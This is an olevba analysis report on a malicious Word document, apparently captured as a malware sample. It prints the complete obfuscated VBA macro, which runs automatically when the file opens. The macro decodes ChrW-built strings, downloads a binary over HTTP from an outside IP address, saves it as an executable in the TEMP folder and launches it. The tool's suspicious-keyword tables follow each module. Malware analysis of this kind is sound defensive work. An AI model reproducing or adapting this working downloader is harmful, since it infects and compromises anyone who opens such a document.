Malicious Word macro

olevba 0.25 - http://decalage.info/python/oletools
Flags       Filename
----------- -----------------------------------------------------------------
OLE:MAS---- 08.doc

(Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)

===============================================================================
FILE: 08.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: 08.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub autoopen()
M74TMHsK391U17
End Sub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+----------+----------+---------------------------------------+
| Type     | Keyword  | Description                           |
+----------+----------+---------------------------------------+
| AutoExec | AutoOpen | Runs when the Word document is opened |
+----------+----------+---------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: 08.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Function RaSfP6r1363354I(ByVal PzRG5z7lX09IgN5jL2 As String, ByVal PF5ZVO1vjpV4jr0SV9QERY3q3 As String) As Boolean
Dim sSt9btW4T0Q9CRYn As Object, PJZVvQ3ZZA As Long, JJ11x8 As Long, PN10dD65K61UuEYF53() As Byte
Set sSt9btW4T0Q9CRYn = CreateObject(ChrW(38.5 + 38.5) & ChrW(41.5 + 41.5) & ChrW(44 + 44) & ChrW(38.5 + 38.5) & ChrW(38 + 38) & ChrW(25 + 25) & ChrW(23 + 23) & ChrW(44 + 44) & ChrW(38.5 + 38.5) & ChrW(38 + 38) & ChrW(36 + 36) & ChrW(42 + 42) & ChrW(42 + 42) & ChrW(40 + 40))
sSt9btW4T0Q9CRYn.Open ChrW(35.5 + 35.5) & ChrW(34.5 + 34.5) & ChrW(42 + 42), PzRG5z7lX09IgN5jL2, False
sSt9btW4T0Q9CRYn.Send "e"
PN10dD65K61UuEYF53 _
 = sSt9btW4T0Q9CRYn.responseBody
JJ11x8 = FreeFile
Open _
 PF5ZVO1vjpV4jr0SV9QERY3q3 For _
 Binary Access _
 Write Lock Write As #JJ11x8
Put #JJ11x8, , PN10dD65K61UuEYF53
Close #JJ11x8
Set GFCUTFUf87TGUbjdfgfdg = CreateObject(ChrW(41.5 + 41.5) & ChrW(52 + 52) & ChrW(50.5 + 50.5) & ChrW(54 + 54) & ChrW(54 + 54) & ChrW(23 + 23) & ChrW(32.5 + 32.5) & ChrW(56 + 56) & ChrW(56 + 56) & ChrW(54 + 54) & ChrW(52.5 + 52.5) & ChrW(49.5 + 49.5) & ChrW(48.5 + 48.5) & ChrW(58 + 58) & ChrW(52.5 + 52.5) & ChrW(55.5 + 55.5) & ChrW(55 + 55))
GFCUTFUf87TGUbjdfgfdg.Open _
 Environ(ChrW(42 + 42) & ChrW(34.5 + 34.5) & ChrW(38.5 + 38.5) & ChrW(40 + 40)) & ChrW(46 + 46) & ChrW(34 + 34) & ChrW(39.5 + 39.5) & ChrW(43.5 + 43.5) & ChrW(42.5 + 42.5) & ChrW(36.5 + 36.5) & ChrW(32.5 + 32.5) & ChrW(32.5 + 32.5) & ChrW(35 + 35) & ChrW(40.5 + 40.5) & ChrW(42 + 42) & ChrW(32.5 + 32.5) & ChrW(23 + 23) & ChrW(50.5 + 50.5) & ChrW(60 + 60) & ChrW(50.5 + 50.5)
End Function

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+--------------+-----------------------------------------+
| Type       | Keyword      | Description                             |
+------------+--------------+-----------------------------------------+
| Suspicious | CreateObject | May create an OLE object                |
| Suspicious | Open         | May open a file                         |
| Suspicious | Environ      | May read system environment variables   |
| Suspicious | Write        | May write to a file (if combined with   |
|            |              | Open)                                   |
| Suspicious | Put          | May write to a file (if combined with   |
|            |              | Open)                                   |
| Suspicious | ChrW         | May attempt to obfuscate specific       |
|            |              | strings                                 |
| Suspicious | Binary       | May read or write a binary file (if     |
|            |              | combined with Open)                     |
+------------+--------------+-----------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: 08.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Sub M74TMHsK391U17()
RaSfP6r1363354I ChrW(52 + 52) & ChrW(58 + 58) & ChrW(58 + 58) & ChrW(56 + 56) & ChrW(29 + 29) & ChrW(23.5 + 23.5) & ChrW(23.5 + 23.5) & ChrW(25.5 + 25.5) & ChrW(24.5 + 24.5) & ChrW(23 + 23) & ChrW(26 + 26) & ChrW(24.5 + 24.5) & ChrW(23 + 23) & ChrW(26 + 26) & ChrW(26.5 + 26.5) & ChrW(23 + 23) & ChrW(24.5 + 24.5) & ChrW(27.5 + 27.5) & ChrW(26.5 + 26.5) & ChrW(23.5 + 23.5) & ChrW(57.5 + 57.5) & ChrW(56.5 + 56.5) & ChrW(59.5 + 59.5) & ChrW(50.5 + 50.5) & ChrW(57 + 57) & ChrW(50.5 + 50.5) & ChrW(23.5 + 23.5) & ChrW(49.5 + 49.5) & ChrW(48.5 + 48.5) & ChrW(57.5 + 57.5) & ChrW(54.5 + 54.5) & ChrW(48.5 + 48.5) & ChrW(23 + 23) & ChrW(51.5 + 51.5) & ChrW(52.5 + 52.5) & ChrW(51 + 51), _
 Environ(ChrW(42 + 42) & ChrW(34.5 + 34.5) & ChrW(38.5 + 38.5) & ChrW(40 + 40)) & ChrW(46 + 46) & ChrW(34 + 34) & ChrW(39.5 + 39.5) & ChrW(43.5 + 43.5) & ChrW(42.5 + 42.5) & ChrW(36.5 + 36.5) & ChrW(32.5 + 32.5) & ChrW(32.5 + 32.5) & ChrW(35 + 35) & ChrW(40.5 + 40.5) & ChrW(42 + 42) & ChrW(32.5 + 32.5) & ChrW(23 + 23) & ChrW(50.5 + 50.5) & ChrW(60 + 60) & ChrW(50.5 + 50.5)
End Sub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+---------+-----------------------------------------+
| Type       | Keyword | Description                             |
+------------+---------+-----------------------------------------+
| Suspicious | Environ | May read system environment variables   |
| Suspicious | ChrW    | May attempt to obfuscate specific       |
|            |         | strings                                 |
+------------+---------+-----------------------------------------+